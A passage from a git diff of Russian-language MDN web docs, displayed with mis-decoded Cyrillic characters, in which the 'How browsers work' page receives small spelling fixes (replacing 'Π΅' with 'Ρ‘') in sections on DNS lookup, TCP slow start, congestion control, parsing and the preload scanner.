ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ.</p>
+<p>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ воспроизвСсти ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, просто сохраняя ΠΈ загруТая ΡΡ‚Π°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ копию HTML-страницы (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ изобраТСния/стили/скрипты). Если Ρ‚Π°ΠΊ - ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ ΠΈΠ· HTML Ρ„Π°ΠΉΠ»Π° всю Π»ΠΈΡ‡Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ Π·Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ (ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ ΠΎΡ‚Ρ‡Ρ‘Ρ‚ Π² <a href="https://bugzilla.mozilla.org/">Bugzilla</a> ΠΈΠ»ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сохранитС Ρ„Π°ΠΉΠ» Π½Π° своём сСрвСрС ΠΈ ΠΏΠΎΠ΄Π΅Π»ΠΈΡ‚Π΅ΡΡŒ ссылкой). Π’Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ понадобится ΠΏΠΎΠ΄Π΅Π»ΠΈΡ‚ΡŒΡΡ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΠΈΡ€ΠΎΠ²Ρ‰ΠΈΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ собрали с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнтов ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ.</p>
diff --git a/files/ru/web/performance/how_browsers_work/index.html b/files/ru/web/performance/how_browsers_work/index.html
index cda110effb..97c05dfae7 100644
--- a/files/ru/web/performance/how_browsers_work/index.html
+++ b/files/ru/web/performance/how_browsers_work/index.html
@@ -37,11 +37,11 @@ translation_of: Web/Performance/How_browsers_work
<h3 id="DNS_запрос">DNS запрос</h3>
-<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ шаг Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΊ страницС - это поиск мСста, ΠΎΡ‚ΠΊΡƒΠ΄Π° Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅. Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π½Π° <code>https://example.com</code>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π³Ρ€ΡƒΠ·ΠΈΡ‚ HTML-ΠΊΠΎΠ΄ страницы с IP-адрСса <code>93.184.216.34</code>. Если Π²Ρ‹ Π½ΠΈΠΊΠΎΠ³Π΄Π° Ρ€Π°Π½Π΅Π΅ Π½Π΅ Π±Ρ‹Π»ΠΈ Π½Π° этом сайтС, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ поиск DNS записи.</p>
+<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ шаг Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΊ страницС - это поиск мСста, ΠΎΡ‚ΠΊΡƒΠ΄Π° Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅. Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π½Π° <code>https://example.com</code>, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π³Ρ€ΡƒΠ·ΠΈΡ‚ HTML-ΠΊΠΎΠ΄ страницы с IP-адрСса <code>93.184.216.34</code>. Если Π²Ρ‹ Π½ΠΈΠΊΠΎΠ³Π΄Π° Ρ€Π°Π½Π΅Π΅ Π½Π΅ Π±Ρ‹Π»ΠΈ Π½Π° этом сайтС, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ поиск DNS записи.</p>
<p>Π’Π°Ρˆ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ DNS запись. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, запрос содСрТит имя сСрвСра, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ Π² IP-адрСс. ΠžΡ‚Π²Π΅Ρ‚ Π½Π° этот запрос ΠΊΠ°ΠΊΠΎΠ΅-Ρ‚ΠΎ врСмя Π±ΡƒΠ΄Π΅Ρ‚ сохранён Π² кэшС устройства, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ быстро ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ запросС ΠΊ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ сСрвСру.</p>
-<p>DNS запрос ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ трСбуСтся ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ лишь Π΅Π΄ΠΈΠ½ΠΎΠΆΠ΄Ρ‹ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы. Однако, DNS запросы Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ хоста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ страницСй. Π‘ΠΊΠ°ΠΆΠ΅ΠΌ, Ссли ваши ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹, ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ, скрипты, Ρ€Π΅ΠΊΠ»Π°ΠΌΠ° ΠΈΠ»ΠΈ счСтчики Π°Π½Π°Π»ΠΈΡ‚ΠΈΠΊΠΈ находятся Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… Π΄ΠΎΠΌΠ΅Π½Π°Ρ…, DNS запрос Π±ΡƒΠ΄Π΅Ρ‚ осущСствлСн для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ….</p>
+<p>DNS запрос ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ трСбуСтся ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ лишь Π΅Π΄ΠΈΠ½ΠΎΠΆΠ΄Ρ‹ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы. Однако, DNS запросы Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ хоста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ страницСй. Π‘ΠΊΠ°ΠΆΠ΅ΠΌ, Ссли ваши ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹, ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ, скрипты, Ρ€Π΅ΠΊΠ»Π°ΠΌΠ° ΠΈΠ»ΠΈ счётчики Π°Π½Π°Π»ΠΈΡ‚ΠΈΠΊΠΈ находятся Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… Π΄ΠΎΠΌΠ΅Π½Π°Ρ…, DNS запрос Π±ΡƒΠ΄Π΅Ρ‚ осущСствлён для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ….</p>
<p><img alt="Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet" src="https://mdn.mozillademos.org/files/16743/latency.jpg" style="height: 281px; width: 792px;"></p>
@@ -93,7 +93,7 @@ translation_of: Web/Performance/How_browsers_work
<p>ΠžΠ±ΡŠΡ‘ΠΌ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π΄Π°Π½Π½Ρ‹Ρ… - всСгда 14KB. Π­Ρ‚ΠΎ Ρ‡Π°ΡΡ‚ΡŒ спСцификации {{glossary('TCP slow start')}} - Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ балансируСт ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ соСдинСния. Π’Π°ΠΊΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ позволяСт постСпСнно, ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости, ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° максимальная ΡˆΠΈΡ€ΠΈΠ½Π° ΠΊΠ°Π½Π°Π»Π°.</p>
-<p>Π’ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ΅ {{glossary('TCP slow start')}} ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ сСрвСром ΠΏΠ°ΠΊΠ΅Ρ‚ увСличиваСтся Π² Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ Π² Π΄Π²Π° Ρ€Π°Π·Π°. НапримСр, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΊΠΎΠ»ΠΎ 28ΠšΠ‘. Π Π°Π·ΠΌΠ΅Ρ€ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ достигнСт ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²ΠΎΠ³ΠΎ значСния ΠΈΠ»ΠΈ Π½Π΅ упрСтся Π² ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ пСрСполнСния.</p>
+<p>Π’ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ΅ {{glossary('TCP slow start')}} ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ сСрвСром ΠΏΠ°ΠΊΠ΅Ρ‚ увСличиваСтся Π² Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ Π² Π΄Π²Π° Ρ€Π°Π·Π°. НапримСр, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΊΠΎΠ»ΠΎ 28ΠšΠ‘. Π Π°Π·ΠΌΠ΅Ρ€ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ достигнСт ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²ΠΎΠ³ΠΎ значСния ΠΈΠ»ΠΈ Π½Π΅ упрётся Π² ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ пСрСполнСния.</p>
<p><img alt="TCP slow start" src="https://mdn.mozillademos.org/files/16754/congestioncontrol.jpg" style="height: 412px; width: 729px;"></p>
@@ -101,7 +101,7 @@ translation_of: Web/Performance/How_browsers_work
<h3 id="ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ_пСрСполнСния">ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ пСрСполнСния</h3>
-<p>Π›ΡŽΠ±ΠΎΠ΅ соСдинСниС ΠΈΠΌΠ΅Π΅Ρ‚ ограничСния, связанныС с Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎΠΉ ΠΈ сСтСвой систСмами. Если сСрвСр ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ слишком ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π·Π° Ρ€Π°Π· - ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚Π±Ρ€ΠΎΡˆΠ΅Π½Ρ‹. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΈ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΈΡ…. Π’Π°ΠΊΠΎΠΉ ΠΎΡ‚Π²Π΅Ρ‚-ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅ называСтся Aknowledgements (ACK). Если ΠΈΠ·-Π·Π° ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ соСдинСния Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ ΠΏΠΎΡˆΠ»Ρ‘Ρ‚ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠΉ ACK. Π’ этом случаС, сСрвСр зарСгистрируСт, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚ Π½Π΅ дошли ΠΈ ΠΏΠΎΡˆΠ»Ρ‘Ρ‚ ΠΈΡ… Π·Π°Π½ΠΎΠ²ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ лишнСй Ρ€Π°Π±ΠΎΡ‚Π΅ сСрвСра ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ сСти.</p>
+<p>Π›ΡŽΠ±ΠΎΠ΅ соСдинСниС ΠΈΠΌΠ΅Π΅Ρ‚ ограничСния, связанныС с Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎΠΉ ΠΈ сСтСвой систСмами. Если сСрвСр ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ слишком ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π·Π° Ρ€Π°Π· - ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚Π±Ρ€ΠΎΡˆΠ΅Π½Ρ‹. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΈ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΈΡ…. Π’Π°ΠΊΠΎΠΉ ΠΎΡ‚Π²Π΅Ρ‚-ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅ называСтся Aknowledgements (ACK). Если ΠΈΠ·-Π·Π° ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ соСдинСния Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ ΠΏΠΎΡˆΠ»Ρ‘Ρ‚ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠΉ ACK. Π’ этом случаС, сСрвСр зарСгистрируСт, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚ Π½Π΅ дошли ΠΈ ΠΏΠΎΡˆΠ»Ρ‘Ρ‚ ΠΈΡ… Π·Π°Π½ΠΎΠ²ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ лишнСй Ρ€Π°Π±ΠΎΡ‚Π΅ сСрвСра ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ сСти.</p>
<h2 id="ΠŸΠ°Ρ€ΡΠΈΠ½Π³">ΠŸΠ°Ρ€ΡΠΈΠ½Π³</h2>
@@ -121,11 +121,11 @@ translation_of: Web/Performance/How_browsers_work
<p><img alt="The DOM tree for our sample code, showing all the nodes, including text nodes." src="https://mdn.mozillademos.org/files/16759/DOM.gif" style="height: 689px; width: 754px;"></p>
-<p>Когда парсСр Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ Π½Π΅Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ рСсурсы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, изобраТСния), Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ отправляСт запрос Π½Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ рСсурсов, Π½ΠΎ сам ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠΎΠ³Π΄Π° ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ссылка Π½Π° CSS Ρ„Π°ΠΉΠ», Π½ΠΎ Ссли ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ <code>&lt;script&gt;</code>, особСнно Ссли ΠΎΠ½ Π±Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² <code>async</code> ΠΈΠ»ΠΈ <code>defer</code> - Ρ‚Π°ΠΊΠΎΠΉ скрипт считаСтся Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌ ΠΈ приостанавливаСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ HTML Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ скрипта. НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сканСр ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ (ΠΎ Π½Ρ‘ΠΌ Π½ΠΈΠΆΠ΅) Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ скрипты Π·Π°Ρ€Π°Π½Π΅Π΅, слоТныС ΠΈ ΠΎΠ±ΡŠΠ΅ΠΌΠ½Ρ‹Π΅ скрипты всё Π΅Ρ‰Ρ‘ ΠΌΠΎΠ³ΡƒΡ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹Ρ… Π·Π°Π΄Π΅Ρ€ΠΆΠ΅ΠΊ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы.</p>
+<p>Когда парсСр Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ Π½Π΅Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ рСсурсы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, изобраТСния), Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ отправляСт запрос Π½Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ рСсурсов, Π½ΠΎ сам ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΡΡ ΠΊΠΎΠ³Π΄Π° ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ссылка Π½Π° CSS Ρ„Π°ΠΉΠ», Π½ΠΎ Ссли ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ <code>&lt;script&gt;</code>, особСнно Ссли ΠΎΠ½ Π±Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² <code>async</code> ΠΈΠ»ΠΈ <code>defer</code> - Ρ‚Π°ΠΊΠΎΠΉ скрипт считаСтся Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌ ΠΈ приостанавливаСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ HTML Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ скрипта. НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ сканСр ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ (ΠΎ Π½Ρ‘ΠΌ Π½ΠΈΠΆΠ΅) Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ скрипты Π·Π°Ρ€Π°Π½Π΅Π΅, слоТныС ΠΈ ΠΎΠ±ΡŠΡ‘ΠΌΠ½Ρ‹Π΅ скрипты всё Π΅Ρ‰Ρ‘ ΠΌΠΎΠ³ΡƒΡ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹Ρ… Π·Π°Π΄Π΅Ρ€ΠΆΠ΅ΠΊ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы.</p>
<h3 id="Π‘ΠΊΠ°Π½Π΅Ρ€_ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ">Π‘ΠΊΠ°Π½Π΅Ρ€ ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ</h3>
-<p>ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅ Π΄Π΅Ρ€Π΅Π²Π° DOM Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ вСсь ΠΏΠΎΡ‚ΠΎΠΊ процСсса. Π’Π°ΠΊ ΠΊΠ°ΠΊ это явно ΡƒΠ·ΠΊΠΎΠ΅ мСсто Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π±Ρ‹Π» создан особый сканСр ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. Он ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ доступноС содСрТимоС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ высокоприоритСтныС рСсурсы (CSS, JavaScript ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹). Благодаря этому сканСру Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΆΠ΄Π°Ρ‚ΡŒ, ΠΏΠΎΠΊΠ° парсСр Π΄ΠΎΠΉΠ΄Π΅Ρ‚ Π΄ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ мСста, Π³Π΄Π΅ вызываСтся рСсурс. Он Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ эти Π΄Π°Π½Π½Ρ‹Π΅ Π·Π°Ρ€Π°Π½Π΅Π΅, Π² 